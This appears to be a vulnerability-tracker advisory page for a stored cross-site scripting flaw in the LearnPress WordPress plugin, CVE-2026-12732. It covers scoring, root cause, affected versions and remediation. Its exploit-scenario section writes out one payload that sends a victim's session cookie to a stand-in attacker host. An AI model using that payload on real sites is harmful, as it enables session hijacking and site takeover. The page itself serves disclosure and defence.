Skip to main content

LearnPress CVE-2026-12732

| EUVDEUVD-2026-40934 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-01 Wordfence GHSA-qrp7-xr7v-h39q
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain contributor-level WordPress account
  2. Delivery
    Author page with malicious class_wrapper_form shortcode attribute
  3. Exploit
    Publish page to persist XSS payload in database
  4. Execution
    Victim (admin) loads injected page
  5. Persist
    Payload executes in victim browser
  6. Impact
    Exfiltrate session cookie or perform privileged actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a WordPress contributor-level account (or higher) on the target site, making this a low-privilege authenticated attack. The vulnerability is specifically triggered via the LearnPress filter-courses shortcode (rendered through FilterCourseShortcode::render()) when the class_wrapper_form attribute is attacker-controlled - this shortcode must be enabled and renderable by the contributor role. Payload execution additionally requires a second victim (typically an administrator or logged-in user) to load the page containing the injected shortcode in their browser. Sites that disable open user registration, restrict the contributor role from publishing, prevent non-editor users from inserting LearnPress shortcodes, or run LearnPress version 4.4.1 or later are not exploitable. The vulnerability does not affect unauthenticated visitors as the injection vector requires authenticated shortcode authorship.

Impact

The NVD-assigned CVSS 3.1 score of 6.4 (Medium) reflects AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. The S:C (Scope Changed) metric correctly captures the cross-browser impact. However, the UI:N assignment is atypical for stored XSS - standard CVSS guidance treats stored XSS as UI:R because payload execution requires a victim to load the injected page; my independent assessment (see assessed_cvss_vector) scores this UI:R, yielding a base score of approximately 5.4. The PR:L requirement (contributor role) is the principal limiting control: sites that disable open registration or restrict contributor shortcode insertion are materially less exposed. EPSS data was not provided in the source intelligence; no CISA KEV listing exists, and no public exploit code has been confirmed. Real-world risk is meaningfully elevated for WordPress LMS deployments with open or lightly vetted contributor enrollment - a common pattern in e-learning platforms - where untrusted users can create course-filter pages.

Exploit ScenarioDerived

A threat actor registers or obtains a WordPress contributor account on a LearnPress-powered e-learning site, then creates a new page embedding the course-filter shortcode with a crafted class_wrapper_form attribute such as: x"><img src=x onerror=fetch('https://attacker.example/log?c='+document.cookie)>. After the page is published, any administrator who reviews or visits it triggers the payload in their browser, surrendering their session cookie - enabling full site takeover without further authentication. No public exploit code has been identified at time of analysis, but the Trac source links in the advisory provide all necessary technical detail for replication.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 01, 2026

Stored Cross-Site Scripting in the LearnPress WordPress LMS plugin (versions up to and including 4.4.0) allows authenticated contributors to permanently inject arbitrary JavaScript into WordPress pages via the unescaped 'class_wrapper_form' shortcode attribute. The payload persists in the database and executes in the browser of any visitor - including administrators - who loads the affected page, enabling session hijacking, credential harvesting, or privilege escalation through forged admin actions. No CISA KEV listing or public exploit code has been identified at time of analysis, but the Wordfence advisory includes precise code-level references that substantially lower the bar for independent reproduction.

RemediationAI

Update LearnPress to a version above 4.4.0; the upstream fix is available in WordPress plugin Trac changeset 3587186 (https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3587186%40learnpress&new=3587186%40learnpress), though an exact patched release version is not independently confirmed from the available data - verify in the WordPress.org plugin changelog before deploying. If immediate patching is not possible, the most effective compensating control is disabling contributor-level (and potentially author-level) publishing capability via the WordPress roles editor or a capability manager plugin, which prevents untrusted users from publishing pages containing shortcodes; the trade-off is that legitimate contributors lose publishing rights until the patch is applied. Alternatively, a mu-plugin or filter snippet can remove the 'learn-press/filter-courses' shortcode handler globally, eliminating the attack surface at the cost of disabling course-filter UI elements site-wide. Monitor the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/09c8db69-60fa-4087-9096-5d34ce44f616 for confirmed patched version numbers.

Affected VersionsENISA

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses 0 ≤4.4.0

Affected Packages

euvd learnpress_wordpress_lms_plugin_for_create_and_sell_online_courses no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LearnPress is a WordPress LMS plugin by ThimPress (CPE: cpe:2.3:a:thimpress:learnpress_-_wordpress_lms_plugin_for_create_and_sell_online_courses:*:*:*:*:*:*:*:*) used for creating and selling online courses. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is a two-part failure: first, FilterCourseShortcode::render() at inc/Shortcodes/Course/FilterCourseShortcode.php:29 omits WordPress's standard shortcode_atts() call, which would normally whitelist and default-sanitize any shortcode attribute. Second, the raw attacker-supplied attribute value travels through a do_action('learn-press/filter-courses/layout', $data) hook into FilterCourseTemplate::sections() at inc/TemplateHooks/Course/FilterCourseTemplate.php:98, where it is interpolated directly into an HTML class attribute via sprintf('<form class="%s">', $class_wrapper_form) without WordPress's esc_attr() escaping function. An attacker can close the attribute with a double-quote and inject inline event handlers or script tags that become part of the stored page HTML.

Know when Learnpress Wordpress Lms Plugin For Create And Sell Online Courses gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS requires victim page view (UI:R per CVSS guidance); contributor access required (PR:L); scope changes to victim browser (S:C); no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The LearnPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_wrapper_form' shortcode attribute in versions up to, and including, 4.4.0. This is due to insufficient input sanitization and output escaping in the FilterCourseTemplate::sections() method at line 98, where the attacker-controlled attribute is inserted into an HTML class attribute via sprintf('<form class="%s">', $class_wrapper_form) without esc_attr() escaping. The FilterCourseShortcode::render() handler does not apply shortcode_atts() filtering, so raw user attributes flow directly through do_action('learn-press/filter-courses/layout', $data) into the template. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Medium
popular WordPress LMS plugin with broad e-learning site adoption
Social Media
6
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-104736 CRITICAL POC
9.8 Oct 17

Unauthenticated PHP object injection in the LearnPress WordPress LMS plugin through version 4.4.10 allows attackers to s

CVE-2026-4365 CRITICAL
9.1 Apr 14

Unauthenticated data deletion in LearnPress WordPress LMS plugin (versions ≤4.3.2.8) allows remote attackers to delete a

CVE-2026-13765 HIGH
7.5 Jul 17

Sensitive information exposure in the LearnPress LMS plugin for WordPress (versions up to and including 4.4.1) lets unau

CVE-2026-93882 HIGH
7.5 Oct 01

Unauthenticated attackers can read and download course-material files - including uploaded file paths and external URLs

CVE-2026-109208 HIGH
7.2 Oct 17

Stored cross-site scripting in the LearnPress WordPress LMS plugin (all versions up to and including 4.4.10) lets attack

CVE-2026-11988 MEDIUM
6.5 Jul 01

Course enrollment data exposure in LearnPress WordPress LMS plugin (all versions through 4.3.9.1) enables authenticated

CVE-2026-107744 MEDIUM
6.5 Oct 17

An authorization bypass in the LearnPress WordPress LMS plugin (all versions through 4.4.10) lets any authenticated user

CVE-2026-12230 MEDIUM
6.4 Sep 08

Stored cross-site scripting in LearnPress - WordPress LMS Plugin versions through 4.3.9.1 allows authenticated contribut

CVE-2026-4333 MEDIUM
6.4 Apr 08

Stored Cross-Site Scripting in LearnPress WordPress LMS Plugin up to version 4.3.3 allows authenticated contributors to

CVE-2026-92538 MEDIUM
6.1 Oct 03

LearnPress WordPress LMS plugin versions through 4.4.7 reflect unsanitized input from the 'orderby' parameter into the D

CVE-2026-8502 MEDIUM
5.3 Jun 06

Sensitive information exposure in LearnPress WordPress LMS Plugin (all versions through 4.3.6) allows unauthenticated re

CVE-2026-77823 MEDIUM
4.9 Sep 01

SQL injection in the LearnPress WordPress LMS plugin (versions ≤ 4.4.4) allows authenticated administrators to extract a

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy